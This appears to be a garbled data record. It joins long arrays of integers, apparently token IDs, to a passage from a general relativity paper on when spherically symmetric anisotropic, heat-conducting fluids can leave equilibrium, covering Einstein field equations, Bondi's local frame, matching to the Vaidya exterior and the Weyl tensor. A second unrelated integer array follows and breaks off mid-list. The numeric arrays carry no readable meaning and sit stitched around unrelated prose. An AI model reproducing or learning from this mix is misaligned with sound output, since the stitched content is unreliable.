5502, 432, 247, 1327, 14, 36884, 532, 800, 281, 247, 18335, 800, 9459, 275, 247, 7499, 56, 14, 22829, 1566, 683, 6764, 56, 1570, 8079, 275, 326, 1083, 13, 253, 38201, 13148, 310, 1900, 5058, 13, 285, 824, 5502, 310, 760, 4136, 604, 669, 6165, 308, 6602, 3115, 1035, 2859, 12, 81, 4010, 18, 1352, 187, 187, 510, 7714, 310, 10932, 347, 3637, 15, 688, 253, 1735, 2593, 359, 1918, 253, 12091, 323, 253, 1673, 285, 4616, 7424, 13, 285, 323, 253, 38201, 13148, 15, 496, 5238, 6490, 253, 2515, 323, 253, 16018, 432, 12902, 313, 395, 21582, 466, 48494, 10, 403, 1119, 15, 6610, 275, 253, 1390, 5238, 253, 1543, 403, 5469, 15, 187, 187, 6180, 285, 26396, 7424, 187, 1702, 18669, 187, 187, 6180, 7424, 187, 11311, 187, 187, 1231, 1908, 653, 379, 1037, 13123, 10670, 273, 45130, 6514, 13, 534, 323, 13232, 273, 29867, 359, 5467, 281, 320, 35319, 13, 17362, 30695, 275, 253, 830, 273, 4250, 2685, 13, 11542, 407, 247, 19474, 2553, 669, 6199, 1352, 187, 187, 510, 1386, 3284, 310, 1677, 275, 38397, 50040, 14, 3022, 11627, 407, 187, 187, 1890, 1397, 63, 19, 30, 70, 1743, 3023, 94, 19641, 63, 19, 428, 299, 1743, 2260, 94, 1837, 63, 19, 428, 209, 187, 83, 63, 19, 393, 1274, 9, 277, 61, 3124, 63, 19, 559, 6868, 63, 19, 61, 3124, 277, 61, 2162, 63, 19, 393, 918, 10, 187, 61, 1968, 92, 10994, 2138, 187, 187, 2811, 669, 3023, 9, 85, 13, 83, 1009, 285, 669, 2260, 9, 85, 13, 83, 1009, 403, 3470, 273, 616, 7125, 15, 844, 1180, 253, 11627, 27, 370, 89, 63, 17, 30, 85, 28, 5095, 1269, 63, 18, 30, 83, 28, 5095, 1269, 63, 19, 2029, 3124, 28, 5095, 1269, 63, 20, 2029, 2162, 1352, 187, 187, 510, 7982, 3891, 10994, 3851, 556, 281, 10517, 21003, 1673, 7424, 187, 187, 1890, 40, 2850, 3023, 2253, 1906, 11468, 25, 61, 2059, 308, 2850, 3023, 2253, 1906, 187, 61, 1968, 92, 38, 453, 82, 2138, 187, 187, 4609, 275, 776, 1083, 1239, 1008, 9989, 5218, 187, 187, 1890, 14, 25, 61, 2059, 308, 63, 17, 64, 17, 29715, 1124, 92, 18, 1217, 83, 63, 19, 6643, 70, 12886, 2260, 94, 209, 187, 61, 1274, 1035, 1124, 92, 18, 1217, 83, 63, 19, 10780, 1124, 464, 2260, 8, 1217, 83, 94, 393, 918, 10, 187, 61, 1968, 92, 453, 82, 361, 2138, 187, 187, 1890, 14, 25, 61, 2059, 308, 63, 18, 64, 18, 29715, 1124, 92, 18, 1217, 83, 63, 19, 6643, 70, 12886, 2260, 94, 187, 61, 1274, 1035, 1124, 92, 18, 1217, 83, 63, 19, 9213, 1124, 464, 3023, 8, 1217, 83, 889, 918, 10, 187, 61, 1968, 92, 453, 82, 883, 2138, 187, 187, 7010, 2043, 92, 2132, 94, 187, 14, 25, 61, 2059, 308, 63, 19, 64, 19, 50276, 30, 50276, 14, 50276, 25, 61, 2059, 308, 63, 20, 64, 20, 426, 708, 428, 9443, 1124, 92, 70, 12886, 3023, 5932, 21, 889, 1274, 9, 19, 61, 40792, 61, 2260, 12, 187, 61, 5256, 61, 2260, 1035, 5256, 61, 2260, 2249, 5256, 61, 3023, 1572, 918, 10, 393, 6274, 3202, 187, 7, 559, 708, 393, 1124, 92, 70, 12886, 2260, 5932, 21, 94, 187, 61, 1274, 9, 19, 61, 3023, 6267, 2766, 3023, 46628, 19, 428, 209, 187, 61, 2260, 11671, 3023, 8, 559, 374, 61, 1124, 464, 3023, 8, 428, 393, 2260, 8, 1217, 83, 889, 918, 10, 187, 61, 1968, 92, 453, 82, 1423, 1610, 889, 423, 92, 2132, 2138, 187, 187, 1890, 14, 25, 61, 2059, 308, 578, 520, 45881, 1124, 464, 5256, 61, 2260, 1217, 83, 94, 187, 61, 1968, 92, 453, 82, 520, 2138, 187, 187, 2811, 20200, 285, 42740, 1462, 323, 7898, 9827, 342, 1675, 281, 246, 285, 391, 2975, 15, 187, 187, 688, 1340, 281, 1918, 3520, 8453, 281, 253, 370, 53, 1743, 1906, 4689, 3023, 724, 4295, 359, 4647, 253, 19760, 74, 2746, 1008, 9989, 1570, 187, 187, 14131, 13, 1563, 19760, 74, 13, 1339, 441, 9569, 15846, 12171, 46839, 15767, 11627, 11443, 3115, 13, 1269, 13, 340, 13, 1182, 7884, 187, 187, 1890, 69, 61, 3115, 30, 70, 1743, 3023, 16, 19, 94, 7064, 12577, 9315, 4615, 9665, 30, 70, 1743, 2260, 16, 19, 94, 5267, 12577, 9315, 4615, 187, 6421, 30, 5784, 61, 3124, 12577, 9315, 4615, 33425, 30, 2967, 249, 61, 3124, 277, 61, 2162, 1890, 187, 187, 5872, 13, 1850, 5341, 253, 46839, 15767, 4295, 273, 253, 2341, 13148, 407, 247, 2534, 13, 359, 452, 187, 187, 7010, 2009, 308, 63, 17, 64, 17, 30, 53, 63, 17, 64, 17, 12577, 9315, 4615, 187, 61, 2009, 308, 63, 18, 64, 18, 30, 53, 63, 18, 64, 18, 12577, 9315, 12577, 2009, 308, 63, 19, 64, 19, 30, 53, 63, 19, 64, 19, 12577, 9315, 4615, 187, 61, 2009, 308, 63, 20, 64, 20, 30, 53, 63, 20, 64, 20, 12577, 9315, 12577, 2009, 308, 578, 520, 4203, 70, 2497, 1035, 3023, 2766, 2260, 1933, 19, 94, 53, 578, 520, 2138, 187, 187, 9301, 13, 359, 9428, 326, 672, 11575, 407, 271, 19969, 4886, 4103, 281, 841, 11627, 342, 7602, 669, 3151, 5, 275, 253, 14599, 3884, 13, 253, 3520, 2600, 273, 2317, 8414, 273, 271, 35319, 6514, 273, 2341, 4038, 669, 2859, 1366, 14599, 3473, 370, 49, 64, 83, 1366, 12717, 1624, 3473, 370, 49, 2253, 12042, 5, 285, 14599, 4250, 8868, 669, 700, 2805, 1352, 3308, 13, 672, 11575, 407, 436, 4886, 19969, 253, 43359, 13148, 275, 46839, 15767, 11627, 310, 187, 187, 7010, 1274, 1035, 2043, 92, 3728, 1217, 19533, 94, 187, 61, 2859, 50274, 7, 50276, 2249, 700, 2805, 50276, 7, 50275, 17, 50273, 7, 50275, 17, 50274, 3353, 187, 2249, 700, 2805, 708, 50276, 49, 64, 83, 50272, 7, 50275, 17, 50273, 7, 50275, 17, 50274, 3353, 187, 17, 50271, 7, 50275, 17, 50271, 7, 367, 2253, 12042, 50276, 7, 50275, 17, 50274, 3353, 187, 17, 50271, 7, 50275, 17, 50271, 7, 50275, 17, 50273, 7, 50275, 49, 2253, 12042, 50276, 187, 61, 423, 92, 3728, 94, 393, 918, 11189, 187, 187, 5872, 247, 29602, 9261, 12450, 2722, 326, 187, 187, 1890, 53, 63, 17, 64, 17, 2029, 2009, 308, 63, 17, 64, 17, 30, 393, 1124, 464, 2859, 559, 367, 64, 83, 393, 3151, 63, 19, 21159, 18, 428, 393, 3151, 63, 19, 94, 559, 209, 187, 61, 1124, 92, 19, 1165, 393, 3151, 299, 1743, 2260, 16, 19, 40161, 18, 428, 393, 3151, 63, 19, 7415, 18, 16, 19, 599, 187, 61, 1968, 92, 53, 361, 2138, 187, 187, 1890, 53, 63, 18, 64, 18, 2029, 2009, 308, 63, 18, 64, 18, 29715, 1124, 92, 367, 64, 83, 559, 393, 2859, 393, 3151, 63, 19, 1217, 18, 428, 393, 3151, 63, 19, 94, 428, 209, 187, 61, 1124, 92, 19, 1165, 393, 3151, 299, 1743, 2260, 16, 19, 40161, 18, 428, 393, 3151, 63, 19, 7415, 18, 16, 19, 599, 187, 61, 1968, 92, 53, 883, 2138, 187, 187, 1890, 53, 63, 19, 64, 19, 30, 53, 63, 20, 64, 20, 2029, 2009, 308, 63, 19, 64, 19, 2029, 2009, 308, 63, 20, 64, 20, 11468, 49, 2253, 12042, 187, 61, 1968, 92, 53, 1423, 1610, 2138, 187, 187, 1890, 53, 578, 520, 4203, 70, 24448, 3023, 559, 393, 2260, 1933, 19, 94, 393, 2009, 308, 578, 520, 4203, 187, 2249, 1124, 29890, 2859, 559, 367, 64, 83, 10, 393, 3151, 299, 24448, 3023, 559, 393, 2260, 1933, 19, 5932, 18, 428, 393, 3151, 63, 19, 94, 428, 209, 187, 61, 1124, 92, 50, 299, 1743, 3023, 16, 19, 94, 299, 1743, 2260, 40161, 18, 428, 393, 3151, 63, 19, 7415, 18, 16, 19, 599, 313, 18, 559, 393, 3151, 63, 19, 10, 187, 61, 1968, 92, 53, 520, 2138, 187, 187, 3113, 187, 187, 1890, 50, 393, 8275, 393, 1124, 464, 700, 2805, 299, 12886, 2260, 16, 19, 40161, 18, 428, 393, 3151, 63, 19, 7415, 18, 16, 19, 599, 187, 61, 1968, 92, 1545, 82, 2138, 187, 187, 8497, 326, 253, 7602, 275, 253, 4816, 85, 13, 83, 1337, 3124, 1337, 2162, 7884, 985, 13, 370, 5267, 16, 7064, 1366, 310, 2905, 281, 669, 3151, 5, 407, 187, 187, 7010, 3151, 2029, 1124, 92, 5267, 1217, 7064, 8633, 70, 24448, 2260, 2249, 3023, 1933, 19, 94, 187, 61, 1968, 92, 3151, 2138, 187, 187, 3404, 253, 3345, 273, 253, 6514, 3268, 13, 253, 29380, 310, 326, 273, 657, 13774, 5973, 13, 1677, 407, 187, 187, 1890, 1397, 63, 19, 30, 393, 1274, 9, 18, 2249, 1124, 92, 19, 46, 9, 86, 15734, 1179, 416, 889, 918, 10, 3443, 63, 19, 559, 374, 69, 438, 464, 1179, 416, 94, 428, 209, 187, 464, 1179, 416, 2306, 19, 393, 1274, 9, 69, 61, 3124, 63, 19, 559, 6868, 63, 19, 61, 3124, 277, 61, 2162, 63, 19, 393, 918, 10, 187, 61, 1968, 92, 55, 13774, 5973, 2138, 187, 187, 2811, 370, 86, 5, 310, 247, 673, 14, 3022, 13249, 824, 326, 370, 86, 30, 22174, 5, 310, 313, 284, 40045, 33248, 10, 247, 3635, 19400, 1527, 281, 253, 2852, 285, 669, 1179, 416, 5, 310, 247, 3635, 13249, 4816, 72, 1126, 1179, 416, 61, 1179, 416, 4203, 17, 14553, 733, 943, 320, 25995, 13, 2299, 13, 326, 13714, 8288, 13, 253, 7742, 476, 320, 2783, 275, 14599, 1959, 18361, 760, 387, 14599, 23579, 15, 187, 187, 510, 767, 13249, 2718, 4816, 85, 13, 83, 1337, 3124, 1337, 2162, 7884, 285, 4816, 86, 1337, 1179, 416, 1337, 3124, 1337, 2162, 7884, 403, 2905, 387, 253, 7548, 2553, 285, 3345, 352, 407, 187, 187, 1890, 86, 30, 85, 14, 83, 14, 19, 46, 4615, 6677, 393, 1274, 1035, 1124, 92, 83, 1217, 19, 46, 5960, 18, 61, 918, 10, 187, 61, 1968, 92, 86, 2138, 187, 187, 1890, 464, 1179, 416, 4203, 83, 187, 61, 1968, 92, 51, 2138, 187, 187, 688, 1340, 281, 3761, 25863, 253, 767, 17082, 1840, 327, 253, 7548, 2553, 370, 83, 30, 83, 2253, 6199, 9, 85, 4244, 359, 452, 281, 2430, 253, 21815, 273, 253, 806, 7936, 830, 2439, 326, 2553, 15, 1284, 906, 273, 436, 11038, 359, 4044, 187, 187, 7010, 1274, 60, 49, 64, 83, 61, 918, 62, 2253, 6199, 2029, 1274, 60, 50, 4615, 70, 1743, 2260, 16, 19, 889, 1274, 9, 18, 2249, 3151, 63, 19, 61, 918, 4800, 187, 92, 18, 16, 19, 889, 918, 62, 2253, 6199, 426, 393, 1274, 5709, 700, 2805, 61 ]	anisotropy of the pressure [@inho], which in turn are known to affect the fate of gravitational collapse [@anis]. In this work we shall consider spherically symmetric fluid configurations which are initially in equilibrium (or quasi–equilibrium), and we shall look for necessary and sufficient conditions to leave such regime. Usually, these conditions are expressed through the adiabatic index, (or some function of it) which indicates the variation of pressure with density, for a given fluid element ( see [@adiabatic] and references therein). As we shall see here, such departure from equilibrium (or quasi–equilibrium) is allowed if and only if, the Weyl tensor within the fluid distribution, changes with respect to its value in the initial (equilibrium or quasi–equilibrium) state. There is however two possible exceptions for this. One is represented by the “inflationary” equation of state $\rho+p=0$. The other situation when our result does not apply, corresponds to the case when then system leaving the equilibrium enters into dissipative regime and $\kappa T/\tau(\rho+p)=1$, where $\kappa$,$T$ and $\tau$ denote respectively the thermal conduction, the temperature and the thermal relaxation time. Both situations imply from the “dynamical” point of view, that the effective inertial mass of any fluid element vanish (see [@eim] and references therein). The above mentioned result is reminiscent, in some sense, of a one recently obtained, regarding the conditions for a transition from a non-dissipative to a dissipative regime in a FRW-flat model[@FRW]. Indeed in that case, the Weyl tensor is always zero, and such transition is only allowed if $\kappa T/\tau(\rho+p)=1$. The manuscript is organized as follows.In the next section we give the expressions for the field and transport equations, and for the Weyl tensor. In Section III the conditions for the departure from equilibrium (and quasiequilibrium) are found. Finally in the last Section the results are discussed. Field and Transport equations ============================= Field equations --------------- We consider spherically symmetric distributions of collapsing fluid, which for sake of completeness we assume to be anisotropic, undergoing dissipation in the form of heat flow, bounded by a spherical surface $\Sigma$. The line element is given in Schwarzschild-like coordinates by $$ds^2=e^{\nu} dt^2 - e^{\lambda} dr^2 - r^2 \left( d\theta^2 + sin^2\theta d\phi^2 \right) \label{metric}$$ where $\nu(t,r)$ and $\lambda(t,r)$ are functions of their arguments. We number the coordinates: $x^0=t; \, x^1=r; \, x^2=\theta; \, x^3=\phi$. The metric (\[metric\]) has to satisfy Einstein field equations $$G^\nu_\mu=-8\pi T^\nu_\mu \label{Efeq}$$ which in our case read [@BO]: $$-8\pi T^0_0=-\frac{1}{r^2}+e^{-\lambda} \left(\frac{1}{r^2}-\frac{\lambda'}{r} \right) \label{feq00}$$ $$-8\pi T^1_1=-\frac{1}{r^2}+e^{-\lambda} \left(\frac{1}{r^2}+\frac{\nu'}{r}\right) \label{feq11}$$ $$\begin{aligned} -8\pi T^2_2 = - 8\pi T^3_3 = & - &\frac{e^{-\nu}}{4}\left(2\ddot\lambda+ \dot\lambda(\dot\lambda-\dot\nu)\right) \nonumber \\ & + & \frac{e^{-\lambda}}{4} \left(2\nu''+\nu'^2 - \lambda'\nu' + 2\frac{\nu' - \lambda'}{r}\right) \label{feq2233}\end{aligned}$$ $$-8\pi T_{01}=-\frac{\dot\lambda}{r} \label{feq01}$$ where dots and primes stand for partial differentiation with respect to t and r respectively. In order to give physical significance to the $T^{\mu}_{\nu}$ components we apply the Bondi approach [@BO]. Thus, following Bondi, let us introduce purely locally Minkowski coordinates ($\tau, x, y, z$) $$d\tau=e^{\nu/2}dt\,\qquad\,dx=e^{\lambda/2}dr\,\qquad\, dy=rd\theta\,\qquad\, dz=rsin\theta d\phi$$ Then, denoting the Minkowski components of the energy tensor by a bar, we have $$\bar T^0_0=T^0_0\,\qquad\, \bar T^1_1=T^1_1\,\qquad\,\bar T^2_2=T^2_2\,\qquad\, \bar T^3_3=T^3_3\,\qquad\,\bar T_{01}=e^{-(\nu+\lambda)/2}T_{01}$$ Next, we suppose that when viewed by an observer moving relative to these coordinates with velocity $\omega$ in the radial direction, the physical content of space consists of an anisotropic fluid of energy density $\rho$, radial pressure $P_r$, tangential pressure $P_\bot$ and radial heat flux $\hat q$. Thus, when viewed by this moving observer the covariant tensor in Minkowski coordinates is $$\left(\begin{array}{cccc} \rho & -\hat q & 0 & 0 \\ -\hat q & P_r & 0 & 0 \\ 0 & 0 & P_\bot & 0 \\ 0 & 0 & 0 & P_\bot \end{array} \right)$$ Then a Lorentz transformation readily shows that $$T^0_0=\bar T^0_0= \frac{\rho + P_r \omega^2 }{1 - \omega^2} + \frac{2 Q \omega e^{\lambda/2}}{(1 - \omega^2)^{1/2}} \label{T00}$$ $$T^1_1=\bar T^1_1=-\frac{ P_r + \rho \omega^2}{1 - \omega^2} - \frac{2 Q \omega e^{\lambda/2}}{(1 - \omega^2)^{1/2}} \label{T11}$$ $$T^2_2=T^3_3=\bar T^2_2=\bar T^3_3=-P_\bot \label{T2233}$$ $$T_{01}=e^{(\nu + \lambda)/2} \bar T_{01}= -\frac{(\rho + P_r) \omega e^{(\nu + \lambda)/2}}{1 - \omega^2} - \frac{Q e^{\nu/2} e^{\lambda}}{(1 - \omega^2)^{1/2}} (1 + \omega^2) \label{T01}$$ with $$Q \equiv \frac{\hat q e^{-\lambda/2}}{(1 - \omega^2)^{1/2}} \label{defq}$$ Note that the velocity in the ($t,r,\theta,\phi$) system, $dr/dt$, is related to $\omega$ by $$\omega=\frac{dr}{dt}\,e^{(\lambda-\nu)/2} \label{omega}$$ At the outside of the fluid distribution, the spacetime is that of Vaidya, given by $$ds^2= \left(1-\frac{2M(u)}{\cal R}\right) du^2 + 2dud{\cal R} - {\cal R}^2 \left(d\theta^2 + sin^2\theta d\phi^2 \right) \label{Vaidya}$$ where $u$ is a time-like coordinate such that $u=constant$ is (asymptotically) a null cone open to the future and $\cal R$ is a null coordinate ($g_{\cal R\cal R}=0$). It should be remarked, however, that strictly speaking, the radiation can be considered in radial free streaming only at radial infinity. The two coordinate systems ($t,r,\theta,\phi$) and ($u,\cal R,\theta,\phi$) are related at the boundary surface and outside it by $$u=t-r-2M\,ln \left(\frac{r}{2M}-1\right) \label{u}$$ $${\cal R}=r \label{R}$$ In order to match smoothly the two metrics above on the boundary surface $r=r_\Sigma(t)$, we have to require the continuity of the first fundamental form across that surface. As result of this matching we obtain $$\left[P_r\right]_\Sigma=\left[Q\,e^{\lambda/2}\left(1-\omega^2\right)^ {1/2}\right]_\Sigma = \left[\hat q\

[ 3605, 9, 4663, 64, 67, 10, 835, 270, 30, 22, 28, 187, 66, 186, 67, 186, 68, 186, 69, 187, 10655, 186, 22, 186, 22, 186, 18, 187, 3, 37338, 345, 18, 10705, 209, 37338, 3, 187, 3, 37338, 18952, 495, 14, 34, 209, 37338, 3, 187, 4065, 13725, 64, 11972, 1874, 187, 19721, 186, 8045, 64, 1590, 186, 5560, 64, 7873, 187, 4537, 18, 186, 14061, 16, 900, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 4537, 18, 186, 14061, 16, 4348, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 19721, 186, 8581, 187, 4537, 19, 186, 1439, 1119, 187, 19721, 186, 8581, 187, 4537, 20, 186, 1439, 1119, 187, 19721, 186, 8581, 187, 4537, 21, 186, 1439, 1119, 187, 21599, 13725, 64, 8754, 953, 64, 15793, 28, 187, 4537, 186, 5465, 186, 8045, 64, 1590, 186, 5560, 64, 7873, 187, 4537, 18, 186, 22922, 186, 14061, 16, 900, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 4537, 18, 186, 22922, 186, 14061, 16, 4348, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 21599, 13725, 64, 8754, 953, 64, 4537, 28, 187, 4537, 186, 8045, 64, 1590, 186, 5560, 64, 7873, 187, 4537, 18, 186, 14061, 16, 900, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 4537, 18, 186, 14061, 16, 4348, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 21599, 13725, 64, 8754, 953, 64, 5465, 28, 187, 5465, 186, 8045, 64, 1590, 186, 5560, 64, 7873, 187, 22922, 186, 14061, 16, 900, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 22922, 186, 14061, 16, 4348, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 21599, 13725, 64, 8754, 953, 64, 14456, 28, 187, 8045, 64, 1590, 186, 5560, 64, 7873, 187, 14061, 16, 900, 16, 2420, 16, 11296, 16, 20238, 186, 1237, 187, 14061, 16, 4348, 16, 2420, 16, 11296, 16, 20238, 186, 1093, 187, 21599, 13725, 64, 8754, 953, 64, 22328, 28, 187, 8045, 64, 1590, 186, 5560, 9, 8045, 64, 1590, 10, 186, 6082, 64, 881, 186, 6082, 64, 18982, 186, 6082, 64, 1590, 187, 21599, 13725, 64, 8754, 953, 64, 4663, 64, 900, 28, 187, 6082, 64, 881, 186, 6082, 64, 18982, 186, 6082, 64, 1590, 186, 4663, 64, 1590, 186, 5560, 64, 7873, 186, 5560, 64, 1088, 186, 5560, 64, 6343, 186, 5560, 64, 24717, 186, 5560, 64, 14447, 186, 5560, 64, 11183, 186, 5560, 64, 16435, 187, 24608, 186, 2566, 186, 85, 18, 186, 15522, 186, 21, 186, 20, 186, 18, 186, 20, 186, 18, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 18, 186, 4663, 64, 67, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 18, 186, 4663, 64, 11316, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 18, 186, 3175, 44825, 186, 20, 186, 18, 186, 19, 186, 18, 186, 17, 186, 19, 186, 17, 187, 24608, 186, 2566, 186, 85, 19, 186, 15522, 186, 24, 186, 22, 186, 19, 186, 22, 186, 19, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 19, 186, 4663, 64, 67, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 19, 186, 4663, 64, 11316, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 19, 186, 3175, 44825, 186, 20, 186, 18, 186, 19, 186, 18, 186, 17, 186, 19, 186, 17, 187, 24608, 186, 2566, 186, 85, 20, 186, 15522, 186, 740, 186, 24, 186, 20, 186, 24, 186, 20, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 20, 186, 4663, 64, 67, 186, 18, 186, 18, 186, 17, 186, 18, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 20, 186, 4663, 64, 11316, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 20, 186, 3175, 44825, 186, 21, 186, 18, 186, 20, 186, 18, 186, 17, 186, 20, 186, 17, 187, 21599, 13725, 64, 8754, 953, 64, 2420, 64, 900, 28, 187, 6082, 64, 881, 186, 6082, 64, 18982, 186, 6082, 64, 1590, 186, 5560, 64, 7873, 186, 5560, 64, 1088, 186, 5560, 64, 6343, 186, 5560, 64, 24717, 186, 5560, 64, 14447, 186, 5560, 64, 11183, 186, 5560, 64, 16435, 187, 24608, 186, 2566, 186, 85, 18, 186, 24, 186, 21, 186, 20, 186, 21, 186, 18, 186, 19, 186, 17, 187, 24608, 186, 2566, 186, 85, 19, 186, 740, 186, 23, 186, 21, 186, 23, 186, 19, 186, 19, 186, 17, 187, 24608, 186, 2566, 186, 85, 20, 186, 1010, 186, 26, 186, 23, 186, 26, 186, 20, 186, 20, 186, 17, 187, 21599, 13725, 64, 8754, 953, 64, 2420, 64, 4348, 28, 187, 6082, 64, 881, 186, 6082, 64, 18982, 186, 6082, 64, 1590, 186, 5560, 64, 7873, 186, 5560, 64, 1088, 186, 5560, 64, 6343, 186, 5560, 64, 1088, 64, 6320, 186, 5560, 64, 1088, 64, 3113, 64, 18867, 64, 39886, 186, 5560, 64, 1088, 64, 8656, 64, 36505, 186, 5560, 64, 1088, 64, 2369, 64, 14447, 186, 5560, 64, 1088, 64, 22108, 186, 5560, 64, 6343, 64, 676, 64, 36505, 186, 5560, 64, 6343, 64, 22108, 187, 24608, 186, 2566, 186, 85, 18, 186, 22, 186, 19, 186, 20, 186, 17, 186, 17, 186, 17, 186, 17, 186, 19, 186, 17, 186, 20, 187, 24608, 186, 2566, 186, 85, 19, 186, 23, 186, 19, 186, 21, 186, 17, 186, 17, 186, 17, 186, 17, 186, 19, 186, 17, 186, 21, 187, 24608, 186, 2566, 186, 85, 20, 186, 24, 186, 19, 186, 22, 186, 17, 186, 17, 186, 17, 186, 17, 186, 19, 186, 17, 186, 22, 187, 21599, 13725, 64, 25964, 64, 8774, 28, 187, 6082, 64, 881, 186, 6082, 64, 18982, 186, 6082, 64, 1590, 186, 5560, 64, 7873, 187, 24608, 186, 2566, 186, 85, 18, 186, 805, 187, 24608, 186, 2566, 186, 85, 19, 186, 1036, 187, 24608, 186, 2566, 186, 85, 20, 186, 1423, 187, 34459, 7180, 28, 187, 3, 37338, 345, 18, 11953, 27224, 209, 37338, 3, 187, 3, 37338, 18952, 495, 14, 35, 209, 37338, 3, 187, 4065, 13725, 64, 11972, 1874, 187, 19721, 186, 8045, 64, 1590, 186, 5560, 64, 7873, 187, 4537, 18, 186, 14061, 16, 900, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 4537, 18, 186, 14061, 16, 4348, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 19721, 186, 8581, 187, 4537, 19, 186, 1439, 1119, 187, 19721, 186, 8581, 187, 4537, 20, 186, 1439, 1119, 187, 19721, 186, 8581, 187, 4537, 21, 186, 1439, 1119, 187, 21599, 13725, 64, 8754, 953, 64, 15793, 28, 187, 4537, 186, 5465, 186, 8045, 64, 1590, 186, 5560, 64, 7873, 187, 4537, 18, 186, 22922, 186, 14061, 16, 900, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 4537, 18, 186, 22922, 186, 14061, 16, 4348, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 21599, 13725, 64, 8754, 953, 64, 4537, 28, 187, 4537, 186, 8045, 64, 1590, 186, 5560, 64, 7873, 187, 4537, 18, 186, 14061, 16, 900, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 4537, 18, 186, 14061, 16, 4348, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 21599, 13725, 64, 8754, 953, 64, 5465, 28, 187, 5465, 186, 8045, 64, 1590, 186, 5560, 64, 7873, 187, 22922, 186, 14061, 16, 900, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 22922, 186, 14061, 16, 4348, 16, 2420, 16, 11296, 16, 20238, 186, 17, 187, 21599, 13725, 64, 8754, 953, 64, 14456, 28, 187, 8045, 64, 1590, 186, 5560, 64, 7873, 187, 14061, 16, 900, 16, 2420, 16, 11296, 16, 20238, 186, 1237, 187, 14061, 16, 4348, 16, 2420, 16, 11296, 16, 20238, 186, 1093, 187, 21599, 13725, 64, 8754, 953, 64, 22328, 28, 187, 8045, 64, 1590, 186, 5560, 9, 8045, 64, 1590, 10, 186, 6082, 64, 881, 186, 6082, 64, 18982, 186, 6082, 64, 1590, 187, 21599, 13725, 64, 8754, 953, 64, 4663, 64, 900, 28, 187, 6082, 64, 881, 186, 6082, 64, 18982, 186, 6082, 64, 1590, 186, 4663, 64, 1590, 186, 5560, 64, 7873, 186, 5560, 64, 1088, 186, 5560, 64, 6343, 186, 5560, 64, 24717, 186, 5560, 64, 14447, 186, 5560, 64, 11183, 186, 5560, 64, 16435, 187, 24608, 186, 2566, 186, 85, 18, 186, 15522, 186, 21, 186, 20, 186, 18, 186, 20, 186, 18, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 18, 186, 4663, 64, 67, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 18, 186, 4663, 64, 11316, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 18, 186, 3175, 44825, 186, 20, 186, 18, 186, 19, 186, 18, 186, 17, 186, 19, 186, 17, 187, 24608, 186, 2566, 186, 85, 19, 186, 15522, 186, 24, 186, 22, 186, 19, 186, 22, 186, 19, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 19, 186, 4663, 64, 67, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 19, 186, 4663, 64, 11316, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 19, 186, 3175, 44825, 186, 20, 186, 18, 186, 19, 186, 18, 186, 17, 186, 19, 186, 17, 187, 24608, 186, 2566, 186, 85, 20, 186, 15522, 186, 740, 186, 24, 186, 20, 186, 24, 186, 20, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 20, 186, 4663, 64, 67, 186, 18, 186, 18, 186, 17, 186, 18, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 20, 186, 4663, 64, 11316, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 186, 17, 187, 24608, 186, 2566, 186, 85, 20, 186, 3175, 44825, 186, 21, 186, 18, 186, 20, 186, 18, 186, 17, 186, 20, 186, 17, 187, 21599, 13725, 64, 8754, 953, 64, 2420, 64, 900, 28, 187, 6082, 64, 881, 186, 6082, 64, 18982, 186, 6082, 64, 1590, 186, 5560, 64, 7873, 186, 5560, 64, 1088, 186, 5560, 64, 6343, 186, 5560, 64, 24717, 186, 5560, 64, 14447, 186, 5560, 64, 11183, 186, 5560, 64, 16435, 187, 24608, 186, 2566, 186, 85, 18, 186, 24, 186, 21, 186, 20, 186, 21, 186, 18, 186, 19, 186, 17, 187, 24608, 186, 2566, 186, 85, 19, 186, 740, 186, 23, 186, 21, 186, 23, 186, 19, 186, 19, 186, 17, 187, 24608, 186, 2566, 186, 85, 20, 186, 1010, 186, 26, 186, 23, 186, 26, 186, 20, 186, 20, 186, 17, 187, 21599, 13725, 64, 8754, 953, 64, 2420, 64, 4348, 28, 187, 6082, 64, 881, 186, 6082, 64, 18982, 186, 6082, 64, 1590, 186, 5560, 64, 7873, 186, 5560, 64, 1088, 186, 5560, 64, 6343, 186, 